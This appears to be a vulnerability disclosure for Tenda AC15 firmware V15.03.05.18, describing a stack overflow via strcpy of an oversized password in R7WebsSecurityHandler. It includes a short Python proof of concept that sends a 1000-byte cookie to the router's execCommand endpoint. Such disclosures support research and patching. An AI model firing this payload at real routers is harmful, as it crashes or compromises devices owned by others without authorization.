Skip to content

Latest commit

 

History

History
31 lines (19 loc) · 1.32 KB

R7WebsSecurityHandler.md

File metadata and controls

31 lines (19 loc) · 1.32 KB

Overview

Affected version

AC15 V15.03.05.18

Vulnerability details

The Tenda AC15 V15.03.05.18 firmware has a stack overflow vulnerability in the R7WebsSecurityHandler function. The src variable receives the password parameter from a POST request and is later assigned to the v35 variable, which is fixed at 128 bytes. However, since the user can control the input of password, the statement strcpy(v35, src); can cause a buffer overflow. The user-provided password can exceed the capacity of the v35 array, triggering this security vulnerability.

image-20240307162438572

image-20240314230652416

image-20240307162504018

POC

import requests

ip = "192.168.84.101"
url = "http://%s/goform/execCommand"%ip
cookie = {"Cookie":"password=" + "A"*1000}
ret = requests.get(url=url,cookies=cookie)
print(ret.text)

image-20240314230710722